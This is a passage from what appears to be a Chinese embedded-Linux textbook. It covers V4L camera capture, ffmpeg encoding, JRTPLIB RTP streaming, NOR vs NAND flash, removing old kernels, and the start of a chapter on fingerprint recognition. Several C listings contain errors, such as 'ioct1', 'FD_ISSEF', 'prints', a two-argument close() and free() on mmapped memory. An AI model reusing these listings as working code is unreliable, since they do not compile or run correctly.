
int(*initialize)(struct video_device*);

……

};



（3）extern void video_unregister_device（struct video_device*）；

该函数实现Linux视频设备在内核中的注销。其中，参数struct video_device*是想要注销的video_device结构。

2.主要数据结构

视频采集的程序设计主要是基于Video4 Linux模块提供的API接口函数来实现的，其中用到的主要数据结构介绍如下。

（1）struct video_capability c_cap

video_capability包含摄像头的基本信息、包含的成员等，例如设备名称、支持的最大和最小分辨率、信号源信息、支持视频显示的宽度上下限等，这些信息分别对应着结构体中的成员变量name[32]、maxwidth、maxheight、minwidth、minheight、type等。

（2）struct video_picture c_pic

video_picture包含设备采集图像的各种属性，如亮度（brightness）、色调（hue）、对比度（contrast）、色度（whiteness）、深度（depth）等，在程序中使用VIDIOCSPICT ioct1来改变设备的属性。

（3）struct video_mmap c_mmap

video_mmap用于内存映射。

（4）struct video_mbuf c_mbuf

保存输入到摄像头存储器缓冲中的帧信息，包括帧的大小（size）、对应支持的帧数目（frames）、每帧相对于基地址的偏移（offsets）。

（5）struct video_channel c_channel

video_channel记录关于各个信号源的属性，每种Video4 Linux视频设备可以从一个或多个信号源捕获数据。调用的ioct1接口是VIDIOCGCHAN。调用前必须设置信号源的各个信道域。包含成员有channel（信号源的标号）、name（信号源名称）、tuners（tuners的数目）等。

（6）struct video_window c_window

包括设备采集窗口的各个参数。


19.5.2　视频采集关键步骤

视频采集步骤包括打开视频、读取设备信息、读video_picture中的信息、改变video_picture中分量的值、初始化channel、关闭设备等。

1.打开视频

USB摄像头在系统中对应的设备文件为/dev/video0，采用系统调用函数open()实现。



int v4l_open(char*dev,v4l_device*vd)

{

if(!dev)

dev="/dev/video0";

if((vd-＞fd=open(dev,O_RDWR))＜0){

perror("v4l_open:");

return-1;

}

if(v4l_get_capability(vd))

return-1;

if(v4l_get_picture(vd))

retu rn-1;

return 0;

}



2.读取设备信息



int v4l_get_capability(v4l_device*vd)

{

if(ioctl(vd-＞fd,VIDIOCGCAP,＆(vd-＞capability))＜0){

perror("v4l_get_capability:");

return-1;

}

return 0;

}



成功后可读取video_capability中的信息。其中，VIDIOCGCAP是videodev.h中定义的宏，具体定义为：



#define VIDIOCGCAP ioctl('v',1,struct video_capability)



ioctl（int fd,int cmd,...）函数的作用是在驱动程序中对设备的I/O通道进行管理，即对设备的一些特性进行控制。其中，fd是用户打开设备时使用open()函数返回的文件标识符；cmd是用户程序对设备的控制命令；省略部分是一些补充参数，一般情况下最多有一个补充参数，与cmd的意义相关。

3.读video_picture中的信息



int v4l_get_picture(v4l_device*vd)

{

if(ioctl(vd-＞fd,VIDIOCGPICT,＆(vd-＞picture))＜0){

perror("v4l_get_picture:");

return-1;

}

return 0;

}



成功后可读取图像的属性。

4.改变video_picture中分量的值

先为分量赋新值，再调用VIDIOCSPICT。



vd-＞picture.colour=65535;

if(ioctl(vd-＞fd,VIDIOCSPICT,＆(vd-＞picture))＜0)

{

perror("VIDIOCSPICT");

return-1;

}



5.初始化channel



int v4l_get_channels(v4l_device*vd)

{

int i;

for(i=0;i＜vd-＞capability.channels;i++){

vd-＞channel[i].channel=i;

if(ioctl(vd-＞fd,VIDIOCGCHAN,＆(vd-＞channel[i]))＜0){

perror("v4l_get_channel:");

return-1;

}

}

return 0;

}



进行视频采集，有内存映射（mmap）和直接从设备读取（read）两种方式。

通过映射得到视频驱动的数据缓冲，用mmap方式截取视频。mmap()系统调用使得进程之间通过映射同一个普通文件实现共享内存。普通文件被映射到进程地址空间后，进程可以像访问普通内存一样对文件进行访问，不必再调用read()、write()等操作。其过程包括：

[1]设置picture的属性。

[2]初始化video_mbuf，以得到所映射的buffer的信息。



if(ioct1(fd,VIDIOCGMBUF,＆vm)＜0)

{

printf("VIDIOCGMBUF fail\n");

mmap_camera=0;

}

else

{

printf("current camera buffer size%d,total frames%d\n",vm.size,vm.frames);/*内存映射*/

buf=(_u8*)mmap(0,vm.size,PROT_READ,MAP_SHARED,fd,0);

if((int)buf==-1)

{

printf("mmap camera fail!\n");

mmap_camera=0;

}

else

puts("mmap camera ok.\n");

}



[3]修改video_mmap和帧状态的当前设置，例如重新设置图像帧的垂直及水平分辨率、彩色显示格式等，可利用如下语句：



mmap.frames=0;

mmap.height=256;

mmap.width=256;

mmap.format=VIDEO_PALETTE_JPEG;/*图像的调色板格式,JPEG*/



[4]将mmap与video_mbuf绑定。

系统调用



void*mmap(void*addr,size_t len,int prot,int flags,int fd,off_t offset)



进行绑定。其中：

·len：映射到调用进程地址空间的字节数，它从被映射文件开头offset个字节开始算起，offset是一个缓冲区的大小。

·prot：指定共享内存的访问权限，有PROT_READ（可读）、PROT_WRITE（可写）和PROT_EXEC（可执行）3个选项。

·flags：MAP_SHARED和MAP_PRIVATE中必选一个，MAP_FIXED不推荐使用。

·addr：共享内存的起始地址，一般设0，表示由系统分配。

·mmap()返回值是系统实际分配的起始地址。

[5]mmap方式下的捕捉流程就是调用VIDIOCMCAPTURE做视频截取。



fd_set rfds;

FD_ZERO(＆rfds);

while(1)

{

if(ioct1(fd,VIDIOCMCAPTURE,STILL_IMAGE)＜0)

{

printf("VIDIOCMCAPTURE fail\n");

break;

}

FD_SET(0,＆rfds);

FD_SET(fd,＆rfds);

tv.tv_sec=3;

tv.tv_usec=0;

select(fd+1,＆rfds,NULL,NULL,＆tv);

if(FD_ISSEF(fd,＆rfdf))

{

if(mmap_camera)

{

i=read(fd,buf,0);

if(i＜0)

{

printf("read fail!%d\n",i);

break;

}

}

else

{

prints("wait time out\n");

break;

}

display(buf);

}

munmap(buf,vm.size);

free(buf);

close(fd);

}



若调用成功，开始一帧的截取，是非阻塞的，是否截取完毕留给VIDIOCSYNC来判断。

[6]调用VIDIOCSYNC等待一帧截取结束。



if(ioctl(vd-＞fd,VIDIOCSYNC,＆frame)＜0)

{

perror("v4l_sync:VIDIOCSYNC");

return-1;

}



若成功，表明一帧截取已完成。可以开始做下一次VIDIOCMCAPTURE,frame是当前截取的帧的序号。

视频截取的第二种方法：直接读设备，调用read()函数。



buf=malloc(image_width*image_height*2);

if(!buf)

{

printf("fail to allocate memory for camera!\n");

close(fd);

munmap(fb_buf,screensize);

close(fbfd);

return-1;

}

i=read(fd,buf,image_width*image_height*2);

if(i＜0)

{

fprintf(stderr,"read fail!%d\n",i);

break;

}



6.关闭设备

完成视频采集后，需要清理内存和关闭视频设备。



int v4l_close(v4l_device*vd)

{

free(mmaps);

munmap(map,mbuf,size);/*解除内存映射*/

close("/dev/video0",vd-＞fd);/*关闭视频设备*/

return 0;

}



在视频采集过程中，采用V4L的内存映射方式获取JPEG格式的图像数据，具体实现过程如图19-5所示。
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图　19-5　图像采集流程图


19.5.3　视频编码程序

视频编码是数字图像处理中的一个重要研究领域，其目的就是在保证画面质量的前提下，用尽可能少的比特数表示视频信息。典型的视频编码技术有JPEG、MPEG、H.261和H.263等。

目前，基于MPEG-4标准的视频编解码器比较多，比较常用的有微软开发的msmpegv3，以及开放源代码的xvid和ffmpeg。xvid是世界上公认的最好的MPEG-4视频压缩开源代码，因此国内安防行业很多做MPEG-4视频编码算法的工程师在xvid代码的基础上进行优化修改，再移植到目标平台上。ffmpeg兼容性好，能解压各种视频格式，包括divx和msmpegv3，从速度上来说ffmpeg要略快于xvid，原因是xvid在VLC解码上做的优化和设计相对较少，查huffman表的时候都是选取了比较大的表，没有进行分级处理，对于嵌入式应用来说效率相当低。综合比较压缩效率、压缩速度以及处理器性能等各方面，ffmpeg编解码器是嵌入式视频监视系统的首选。

本系统采用MPEG-4编码软件ffmpeg。ffmpeg是一套可以用来记录、转换数字音频、视频，并能将其转化为流的开源计算机程序。ffmpeg是在Linux下开发出来的，但它可以在包括Windows在内的大多数操作系统中编译。ffmpeg项目由以下几部分构成：

·ffmpeg：一个用来转换视频文件格式的命令行工具，它也支持从电视卡中实时的抓取和视频编码。

·ffserver：一个基于HTTP协议用于实时广播的体服务器，它也支持实时广播的时间平移。

·ffplay：一个用SDL和ffmpeg库开发的简单的媒体播放器。

·libavcodec：一个包含了所有ffmpeg音/视频编解码器的库。

·libavformat：一个包含了所有的普通音/视频格式的解析器和产生器的库。

ffmpeg适合移植到嵌入式系统，因为它是用C语言编写的，对各种编译器进行了优化，并针对ARM处理器用汇编语言实现了DCT变换和DCT逆变换。

ffmpeg作为媒体文件处理软件，基本用法如下：



ffmpeg-i INPUTfile[OPTIONS]OUTPUTfile



输入/输出文件通常就是待处理的多媒体文件了。可以是纯粹的音频文件、纯粹的视频文件，或者混合文件。另外，由于Linux把设备视为文件，因此-i选项后可以跟设备名，比如DV、视频卡、光驱或者其他的各类设备。输出的内容通过OPTIONS调整。下面列出几个主要的选项：

·-vcodec　视频流编码方式。

·-b　视频流码率（默认只有200kb/s，一般都需要手动设置，具体的数值视codec选择而定）。

·-r　视频流帧数（一般说来PAL制式通常用25，NTSC制式通常用29）。

·-s　视频解析度（分辨率）。

ffmpeg主要函数介绍如下。

（1）初始化编/解码器



av_register_all(void)



通过执行libavcodec\allcodecs.c文件里的avcodec_register_all(void)函数来初始化encoder/decoder。

（2）参数分析



_options(argc,argv,options)



在执行文件转换时，操作系统把输入参数保存在argv数组中，参数个数则由argc标识。而options数组则保存了ffmpeg所支持的所有参数类型。进行参数分析时，先从argv数组中读出一个参数，然后在options数组中查找是否有对应值。如果有，则再检查输入参数格式是否合法，并进行相应处理（传递给某些变量等），否则给出错误提示。

（3）编码函数



av_encode(output_files,nb_output_files,input_files,nb_input_files,stream_maps,nb_stream_maps)



如果参数分析过程没有出错，则继续执行此编码函数。此函数是最主要的编码函数，包括了视频编码的整个处理过程，即预测、变换、量化、熵编码。其中，参数output_files是输出文件名，nb_output_files是输出文件个数，input_files是输入文件名，nb_input_files是输入参数个数。output_files与input_files是AVFormatContext类型的变量。AVFormatCon-text是ffmpeg格式转换过程中实现输入、输出功能和保存相关数据的主要结构。

（4）释放资源



av_free(point)



在编码过程完成之后，接下来就是进行一系列清理工作，主要包括关闭输入/输出文件，以及显式地释放编码时申请的内存资源，这一工作由执行一系列的av_free(point)函数完成。point是指向所申请的内存空间的指针。


19.5.4　数据传输程序

利用摄像头设备采集的图像经ffmpeg压缩为MPEG-4视频流以后，为了达到远程监视的目的，必须利用无线网络进行传输。视频文件的实时传输要求较低的时延和较小的丢包率，实时传输协议（Real-time Transport Protocol,RTP）和实时传输控制协议（RTCP）配合使用可以满足要求。

实时传输协议RTP为数据提供了具有实时特征的端对端传送服务，如在组播或单播网络服务下的交互式视频/音频或模拟数据。应用程序通常在UDP上运行RTP以便使用其多路结点和校验服务；RTP提供了传输层协议的功能。但是RTP可以与其他适合的底层网络或传输协议一起使用。如果底层网络提供组播方式，那么RTP可以使用该组播表传输数据到多个目的地。

RTP本身并没有提供按时发送机制或其他服务质量（QoS）保证，本身不能独立传输数据，它依赖于底层服务去实现这一过程。RTP并不保证传送或防止无序传送，也不确定底层网络的可靠性。RTP实行有序传送，RTP中的序列号允许接收方重组发送方的包序列，同时序列号也能用于决定适当的包位置，例如：在视频解码中，就不需要顺序解码。

RTCP控制协议需要与RTP数据协议一起配合使用，当应用程序启动一个RTP会话时将同时占用两个端口，分别供RTP和RTCP使用。RTP本身并不能为按序传输数据包提供可靠的保证，也不提供流量控制和拥塞控制，可靠性传输是由与之配合使用的实时传输控制协议RTCP来负责完成的。通常RTCP会采用与RTP相同的分发机制，向会话中的所有成员周期性地发送控制信息，应用程序通过接收这些数据，从中获取会话参与者的相关资料，以及网络状况、分组丢失概率等反馈信息，从而能够对服务质量进行控制或者对网络状况进行诊断。

RTP协议为传输层协议，RFC在对RTP的定义过程中并没有对其底层协议进行制定。RTP不提供网络连接，在使用中通常需要与UDP等其他协议配合。RTP协议为使用UDP的端口号和检查和将RTP执行程序写在UDP的上层，而RTP的应用程序运行在RTP之上。RTP可以看成是传输层的上层子层。RTP信息包中封装了编码后的音/视频数据，每个RTP信息包被封装在UDP消息段中，然后再封装在IP数据包中以备网络传输。

从应用开发者的角度来看，RTP执行程序可以被看成是应用程序的一部分，因为开发者需要把RTP集成到应用程序中。在发送端，首先创建RTP会话，在创建RTP信息包的应用程序中写入执行RTP协议的程序，然后应用程序将RTP信息包发送到UDP的套接接口。同样，在接收端，RTP信息包通过UDP套接接口输入到应用程序，并将执行RTP协议的程序写入到从RTP信息包中抽出媒体数据的应用程序。

在Linux平台上进行实时流媒体编程，可以考虑使用一些开放源代码的RTP库，如LI-BRTP、JRTPLIB等。JRTPLIB是一个面向对象的RTP库，它完全遵循RFC1889设计。JRT-PLIB是一个用C++语言实现的RTP库，这个库使用SOCKET机制实现网络通信，因此可以运行在Windows、Linux、FreeBSD、Unix、VxWorks等多种操作系统上。本视频采集的无线传输模块采用JRTPLIB库来实现无线视频流的传输。

首先从JRTPLIB官方网站下载最新的源码包jrtplib-3.7b.tar.bz2，保存在/usr/local/src目录下，并解压。JRTPLIB与平台有关，JRTPLIB库的交叉编译指定的ARM编译工具链是arm-linux。在ARM9+Linux平台上用arm-linux-gcc编译时，需做此库的交叉编译场景分析。具体做法为在进行配置前，在Shell环境下输入两条语句：



export config_BUILD_CC=gcc;

export config_TARGET_CC=arm-linux-gcc;



在rtperrors.h中添加头文件stdio.h，否则编译会出现相应的问题。

接下来对JRTPLIB库进行配置和编译：



#./configure-host=arm-linux

#make



编译成功后执行下面的命令完成JRTPLIB的安装：



#make install



1.初始化处理

在使用JRTPLIB进行实时流媒体数据传输之前，首先应该生成RTPSession类的一个实例来表示此次RTP会话，然后调用Create()方法来对其进行初始化操作。RTPSession类的Create()方法只有一个参数，用来指明此次RTP会话所采用的端口号。下面程序给出了初始化的框架。



#include"rtpsession.h"

int main(void)

{

RTPSession sess;

int status;

char*msg;

sess.Create(6000);

msg=RTPGetErrorString(status);

printf("Error String:%s\\n",msg);

return 0;

}



设置恰当的时戳单元，是RTP会话初始化过程所要进行的另外一项重要工作，这是通过调用RTPSession类的SetTimestampUnit()方法来实现的，该方法同样也只有一个参数，表示的是以秒为单元的时戳单元。例如，当使用RTP会话传输10000Hz采样的音频数据时，由于时戳每秒钟将递增10000，所以时戳单元相应地应该被设置成1/10000。



sess.SetTimestampUnit(1.0/10000.0);



2.数据发送

当RTP会话成功建立起来之后，接下去就可以开始进行流媒体数据的实时传输了。首先需要设置好数据发送的目标地址，RTP协议允许同一会话存在多个目标地址。调用RTP-Session类的AddDestination()方法，可以设置数据发送的目标地址，调用DeleteDestination()和ClearDestinations()方法可以删除、清空目的地址。例如，下面的语句表示的是让RTP会话将数据发送到本地主机的8000端口。



unsigned long addr=ntohl(inet_addr("127.0.0.1"));

status=sess.AddDestination(addr,8000);



初始化工作完成后，接下来可以进行视频流数据的发送和接收。

在视频数据发送端调用RTPSession类的SendPacket()方法，向已定义的目标地址发送流媒体数据。SendPacket()是RTPSession类提供的一个重载函数，它具有下列多种形式：



int SendPacket(void*data,int len)

int SendPacket(void*data,int len,unsigned char pt,bool mark,unsigned long timestampinc)

int SendPacket(void*data,int len,unsigned short hdrextID,void*hdrextdata,int numhdrextwords)

int SendPacket(void*data,int len,unsigned char pt,bool mark,unsigned long timestampinc,unsigned short hdrextID,void*hdrextda-ta,int numhdrextwords)



在同一个RTP会话中，负载类型、标识和时戳增量通常相同，因此调用RTPSession类的SetDefaultPayloadType()、SetDefaultMark()和SetDefaultTimeStampIncrement()方法来设置这些参数，以简化数据的发送。例如，如果为RTP会话设置了默认参数：



sess.SetDefaultPayloadType(0);

sess.SetDefaultMark(false);

sess.SetDefaultTimeStampIncrement(10);



之后在进行数据发送时只需指明要发送的数据及其长度就可以了：



sess.SendPacket(buffer,5);



图19-6为数据发送过程框图。
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图　19-6　数据发送过程框图

3.数据接收

在视频流数据的接收端，首先调用RTPSession类的PollData()方法来接收发送过来的RTP或者RTCP数据报。调用RTPSession类的GotoFirstSource()和GotoNextSource()方法，遍历所有的源（参与者）。当检测到有效数据源时，调用RTPSession类的GetNextPacket()方法从中抽取RTP数据报。在接收到的RTP数据报处理完以后，一定要及时释放。图19-7为数据接收过程框图。
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图　19-7　数据接收过程框图

下面的代码示范了该如何对接收到的RTP数据报进行处理：



if(sess.GotoFirstSourceWithData())

{

do

{

RTPPacket*pack;

pack=sess.GetNextPacket();/*处理接收到的数据*/

delete pack;

}

while(sess.GotoNextSourceWithData());

}



JRTPLIB为RTP数据报定义了三种接收模式，其中每种接收模式都具体规定了哪些到达的RTP数据报将会被接受，哪些到达的RTP数据报将会被拒绝。通过调用RTPSession类的SetReceiveMode()方法可以设置下列接收模式。

（1）RECEIVEMODE_ALL

默认的接收模式，所有到达的RTP数据报都将被接受。

（2）RECEIVEMODE_IGNORESOME

除了某些特定的发送者之外，所有到达的RTP数据报都将被接受，而被拒绝的发送者列表可以通过调用AddToIgnoreList()、DeleteFromIgnoreList()和ClearIgnoreList()方法来进行设置。

（3）RECEIVEMODE_ACCEPTSOME

除了某些特定的发送者之外，所有到达的RTP数据报都将被拒绝，而被接受的发送者列表可以通过调用AddToAcceptList()、DeleteFromAcceptList()和ClearAcceptList()方法来进行设置。


19.6　实践拓展

1.NOR和NAND比较

NOR和NAND是目前市场上两种主要的非易失闪存技术。Intel于1988年首先开发出NOR flash技术，紧接着1989年东芝公司发表了NAND flash结构，强调降低每位的成本、更高的性能，并且像磁盘一样可以通过接口轻松升级。

（1）性能比较

NAND器件执行擦除操作是十分简单的，而NOR则要求在进行擦除前先要将目标块内所有的位都写为0。由于擦除NOR器件时是以64～128KB的块进行的，执行一个写入/擦除操作的时间为5s，与此相反，擦除NAND器件是以8～32KB的块进行的，执行相同的操作最多只需要4ms。

NOR的读速度比NAND稍快一些；NAND的写入速度比NOR快很多；NAND的擦除速度远比NOR的快；大多数写入操作需要先进行擦除操作；NAND的擦除单元更小，相应的擦除电路更少。

（2）接口差别

NOR flash带有SRAM接口，有足够的地址引脚来寻址，可以很容易地存取其内部的每一个字节。NAND器件使用复杂的I/O口来串行地存取数据，读和写操作采用512字节的块，基于NAND的存储器就可以取代硬盘或其他块设备。

（3）容量和成本

NAND flash的单元尺寸几乎是NOR器件的一半，由于生产过程更为简单，NAND结构可以在给定的模具尺寸内提供更高的容量，也就相应地降低了价格。

（4）可靠性和耐用性

在寿命方面，在NAND闪存中每个块的最大擦写次数是一百万次，而NOR的擦写次数是十万次。

2.如何删除不用的内核

当Linux内核升级为新版本时，旧版本会留下来，造成机器上的GRUB菜单越来越长，这样做当使用新内核出现问题时可以提供一个保障，而大多数情况下，当使用新内核一切正常时，那些老版本的内核可能就不会再用了。因此有必要删除那些废弃不用的旧内核。

首先找出当前用的内核是什么版本。打开终端，使用下面这个命令：



uname-r



可以得到当前使用的Linux内核版本，这个版本必须留着不能删除。然后打开“系统”|“系统管理”|“软件管理器”。单击工具栏上的“搜索”按钮，在弹出的对话框中输入"linux-image-2"，在搜索结果列表中，应该能找到那些已经安装的内核。对比刚才在终端里显示的结果，选中已经安装的其他版本的内核，然后单击“删除”。单击“应用”按钮，完成操作。下次开机时，就会发现GRUB目录下那些多余的内核选项都没有了。


第20章　ARM Linux指纹识别

本章要点：

指纹识别原理

系统硬件结构

指纹采集芯片fps200

Linux操作系统移植


 20.1　自动指纹识别系统概述

指纹识别技术是通过计算机实现的身份识别手段，也是当今应用最为广泛的生物特征识别技术之一。个人身份的确认和权限的认定是生活中的一个非常重要的环节，尤其是随着网络化时代的来临，人们对于安全性的要求越来越高。但是，越来越繁琐的密码设置也是人们的一大心病，开机密码、邮箱密码、银行密码、论坛登录密码等，密码管理对于高安全性的商务生活而言显得尤为重要。为了实现较高的安全性，使用复杂和更不方便的密码是目前流行的选择，而如果对身边不同的设备使用相同的密码，那么在得到了方便性的同时也增加了安全性的隐患。但是如果设置成不同的密码，又很容易记混，不方便使用。此时，指纹识别技术提供了一种新的思路，这种既方便又安全的技术很快成为了很多学者研究的新方向，带来了巨大的市场前景，并将对国际、国内安防产业产生新的影响。

每个人的指纹在图案、断点和交叉点上各不相同，也就是说，是唯一的，并且相对固定，不易发生变化，蕴含着大量的信息。依靠这种唯一性和稳定性，可以把一个人同他的指纹对应起来，通过对他的指纹和预先保存的指纹进行比较，可以验证他的真实身份。这就是指纹识别技术。与其他的技术相比，指纹识别技术具有许多独到的信息安全方面的优点，而且还具有很高的实用性和可行性。因为每个人的指纹独一无二，是相当固定的，不会随着人年龄的增长或身体健康程度的变化而变化，而且指纹样本便于获取，易于开发识别系统，实用性强，目前已有标准的指纹样本库，方便了识别系统的软件开发。指纹识别的应用领域非常广阔，包括以下几个方面：

（1）指纹支付

通过把指纹与银行卡绑定的方式，用指纹轻轻一点来完成消费支付。这种新型应用在美国已经实施至少2年以上。在2006年上海某公司也已经涉足指纹支付市场。

（2）汽车指纹防盗

通过指纹控制车门开关或者控制引擎点火是指纹技术在汽车防盗方面的典型应用。国内个别厂商已经推出指纹防盗产品。

（3）指纹UKEY

指纹UKEY是网上银行业务用于进行身份验证的终端，它比目前的账号密码验证以及普通UKEY验证要更为安全些。完全不需要密码或PIN，使得病毒软件无可乘之机，也杜绝了网银账号盗用的可能。它将大大提升网银业务的诚信度和安全性，为银行真正扩大网上交易量。

（4）指纹IC卡

目前的IC卡大多是不记名的，记名也都是用密码。随着IC卡在日常生活中的广泛使用，IC卡中的信息甚至代表着特殊的权力和金钱。通过在IC卡中存入持卡人的指纹信息，可以大大提高IC卡的安全性。

指纹识别技术主要涉及指纹图像采集、指纹图像处理、特征提取、保存数据、特征值的比对与匹配等方面。

指纹采集技术的发展经过了较长的历史时期，其过程也随传感技术的发展而得到推动。第一代指纹采集技术采用“按压留痕”的方式来采集指纹，利用的是指纹“触物留痕”的特性，这一时期主要通过“油墨-指纹卡”的方式采集。第二代指纹采集技术采用自动化、数字化的采集方式，指纹数据以数字信息表示和存储。现有的光学指纹采集仪、半导体压感指纹采集仪、温感指纹采集仪和电容式指纹采集仪都采用数字化自动指纹采集技术。指纹采集的过程本质上是指纹成像的过程，其原理是根据嵴与峪的几何特性、物理特征和生物特性的不同，以得到不同的反馈信号，根据反馈信号的量值来绘成指纹图像。

指纹识别技术属于模式识别的范畴。指纹识别实际上是通过特定的数学算法来分析指纹特征，并判定两枚指纹特征的相似度，包括指纹特征分析和匹配两大过程。指纹特征分析是对指纹图案的整体特征和细节特征进行提取、鉴别的过程。指纹特征值匹配是对指纹图案的整体特征和细节特征按模式识别的原理进行比对匹配，匹配是在已注册的指纹和当前待验证的指纹之间进行的，匹配运算不是对两个指纹图像进行比较，而是对已形成数字模板的指纹特征值进行匹配。指纹特征值匹配从整体特征和局部特征两个方面进行。整体特征的匹配包括对指纹纹形的分类和判断、指纹嵴密度的判断等。局部匹配包括每个细节点的类型匹配、坐标匹配、质量匹配、方向匹配等，甚至还包括由一组特征值之间形成的拓扑关系的匹配。


20.2　指纹识别原理

典型的指纹识别系统如图20-1所示。
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图　20-1　典型的指纹识别系统

1.预处理

预处理在整个自动指纹识别的过程中是很关键的第一步，是正确地进行特征提取、匹配等操作的基础。在指纹图像采集过程中，由于表面皮肤特性、采集条件以及成像传感器特征差异等各种原因的影响，采集的指纹图像是一幅含多种不同程度噪声干扰的灰度图像，指纹嵴线可能被断开、桥接或模糊等，这种噪化的指纹嵴线结构严重地影响着指纹识别系统的性能。预处理的目的就是利用信号处理技术去除图像中的各种噪声干扰，把它变成一幅清晰的指纹图像，恢复指纹的嵴线结构，以便可靠提取正确的指纹特征。因此，预处理性能的好坏直接影响着指纹识别的效果。指纹预处理的一般过程：首先提取出指纹的方向图，然后基于此方向图，做灰度图像滤波，从而使其二值化、细化。

2.指纹特征

指纹特征通常可通过指纹的两类特征进行验证：总体特征和局部特征。在考虑局部特征的情况下，只要比对的13个特征点重合，就可以确认是同一个指纹。

总体特征：指那些用人眼就可观察到的特征，包括基本纹路图案、模式区、核心点、三角点、式样线和纹数等。基本纹路图案有环形、弓形、螺旋形。如图20-2所示。
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图　20-2　指纹的特征图

局部特征：即指纹上节点的特征，这些具有某些特征的节点成为特征点，即指纹纹路上的终结点、分叉点和转折点。这些指纹特征点可以用以下4种特征来描述。

·位置：特征点的位置通过坐标来描述，可以是绝对的，也可以是相对于三角点的。

·方向：指该特征点所在的局部嵴线的方向。

·分类：特征点有终结点、分叉点、孤立点、分歧点、环点、短纹等。

·嵴线：特征点对应的嵴线用在该嵴线上的采样点表示。

两枚指纹经常会具有相同的总体特征，但它们的局部特征——特征点，却不可能完全相同。指纹纹路并不是连续、平滑笔直的，而是经常出现中断、分叉或转折，就是这些特征点提供了指纹唯一性的确认信息。

3.指纹提取方法

常用的指纹提取方法有以下三种：光学设备取像，晶体传感器取像，超声波设备取像。其中，超声波扫描被认为是指纹提取技术中非常好的一类。表20-1是三种主要技术的比较。
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4.指纹图像增强方法

细节特征提取算法的性能严重依赖于输入指纹图像的质量。然而指纹源图像同真实指纹由于图像的变形会产生不同，许多畸变、变形是获取指纹图像时产生的。如：

·不一致的接触。

·不均匀的接触。

·不可再现的接触。

·采集设备本身的噪声干扰。

这些因素将导致待分析的指纹图像产生一定数量的可疑特征点，以及大量真实特征点被忽略从而引入大量的错误信息。为了确保细节特征算法的性能，需要进行指纹图像增强。

一般来说，图像的增强采用平滑、滤波、二值化、细化等数字图像处理方法来进行。实际实现时，指纹图像增强一般采用以下几个环节：规格化，方向图估计，频率图估计，生成模板，滤波。一幅指纹图像经过规格化后，才能将该图的均值和方差控制在给定范围，以便后续处理。对指纹图像规格化的目的是降低该灰度图像的方差。

5.指纹特征值的提取

特征提取是指纹识别系统的关键部分之一，因此特征提取的好坏直接影响以后的指纹匹配结果。如果输入图像的质量很好，很容易确定其结构，此时的特征提取只是从细化后的单像素的纹线提取细节点的简单过程。但实际上，由于受很多因素的影响，输入指纹图像并不具备很好的嵴线结构，指纹线也不是单个像素的。这使得特征提取的准确性受到影响。在进行特征提取的过程中一般要进行细节点处理。用来匹配指纹图像的点称为细节点，在指纹图像拓扑中，它们是嵴终点和分叉点。单独点包括中心点和三角点。三角点和中心点之间的距离以及嵴线的数目一般认为不会随图像的变换、旋转、放大和缩小而改变。因此，往往利用这一特性来减小匹配时数据库的搜索空间。

一个典型可靠的细节特征提取算法包括方向估计、分割、嵴提取、细节特征提取及后处理。方向估计如前所述。分割一般采用全局或自适应阈值来获得指纹图像前景。嵴提取则一般采用现有的标准细化方法。一旦得到细化的嵴图，那么根据对嵴上的点的邻域进行检测，很容易就可以得出嵴终点和嵴分叉。

一般在提取细节点之前我们对细化后的指纹图像进行预先处理，把图像中那些噪声、非完全细化部分造成的干扰排除掉。细节点提取后还要将虚假特征点即伪特征点去除。伪特征点，按照其在指纹图像上的分布位置可划分为两类：位于图像边缘的伪特征点和不是边缘点的伪特征点。大量的伪特征点会对下一步的匹配算法产生很大影响，因此，为了确保下一步匹配结果的准确性，在提取特征点以后，还有一步非常重要的剔除伪点的操作即特征点后处理。最终检测出来的每一个特征点，我们一般记录如下信息：①特征点的坐标；②特征点的方向。特征提取的结果一般保存为特征模板，它包括嵴终点或分叉类型、位置坐标以及该特征的方向。一般的指纹图像提取的特征点数为10～100。大多数文献认为至少应该有12个特征点才能进行匹配。

6.指纹图像匹配

指纹图像匹配就是对两个输入指纹的特征集合（模板）判断是否属于同一指纹。指纹对比有两种方式：

（1）一对一指纹验证

根据用户ID从指纹库中检索出要对比的指纹，再与新扫描得到的指纹进行对比。

（2）一对多指纹验证

新扫描得到的指纹和指纹库中的指纹逐一进行对比。

7.指纹识别系统的性能参数

·FAR（False Accept Rate）：误识率，两个不同指纹被系统判断为同一指纹的概率，也就是系统不安全的概率。通常为0.001%～0.1%。

·FRR（False Reject Rate）：拒识率，同一指纹两次采样被系统判断为不同指纹的概率，即可以通过验证的人被拒绝的概率。

·FER（False to Enroll）：错误登记率，手指指纹太差，不能登记的概率。

·Verification Time（1:1）：验证时间，比较判断两枚指纹是否相同的时间。

·Identify Speed（1：N）：识别速度，对一枚指纹在指纹数据库中查找与之相应的指纹所需的时间，质问查找速度，这与指纹数量、指纹数据库大小有关。

·Template Size：特征值长度，提取指纹特征值的字节数。


20.3　系统硬件结构

整个系统的硬件结构如图20-3所示。
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图　20-3　指纹识别系统硬件结构图

S3C2410是其中的核心部件，结合Flash、SDRAM和电源转换芯片以及通信接口等构成了一个独立的运行环境，完成指纹识别算法的所有功能和系统执行功能。指纹采集仪采用fps200，JTAG接口用来完成Linux内核移植，交叉编译，驱动下载与交叉调试。电源电路主要提供两种类型的电源，I/O口的3.3V供电电源和内核的1.8V供电电源。


20.4　指纹采集芯片fps200

指纹图像的采集是自动指纹识别系统（AFIS）的重要组成部分。早期的指纹采集都是通过油墨按压在纸上产生的，如NIST4、NIST9、NIST14等这些标准指纹数据库就属于这一类。那时候AFIS系统的应用范围也比较窄，主要用于大规模指纹数据库的管理和检索，属于离线处理类型。20世纪80年代，随着光学技术和计算机技术的发展，开始出现了光学的指纹采集仪；20世纪90年代中期，随着半导体技术的进步，开始陆续出现CMOS指纹传感器、热敏传感器、超声波传感器等新型传感器。与光学传感器相比，它们具有体积小、价格低的优点。

本系统使用的指纹采集芯片是fps200，fps200芯片是Veridicom公司生产的第三代半导体触摸式指纹传感器。fps200指纹传感器采用CMOS技术，由256×300个电容传感阵列组成，其传感区域为1.28cm×1.50cm，分辨率高达500 dpi（每英寸点数），工作电压范围为3.3～5 V，提供与8位微处理器相连的接口，传感器内部有8位高速A/D转换器，可直接输出8位灰度图像，并具有两组采样保持电路。fps200基于电容充放电原理，传感阵列的每一点是一个金属电极，相当于电容器的一个极，与传感区接触的手指充当电容器的另一个极，而两者之间的传感面形成电容两极之间的介电层，由于指纹的嵴和峪导致了传感阵列各电容值的不同，传感器将电容值数字化后输出。fps200的结构框图如图20-4所示。

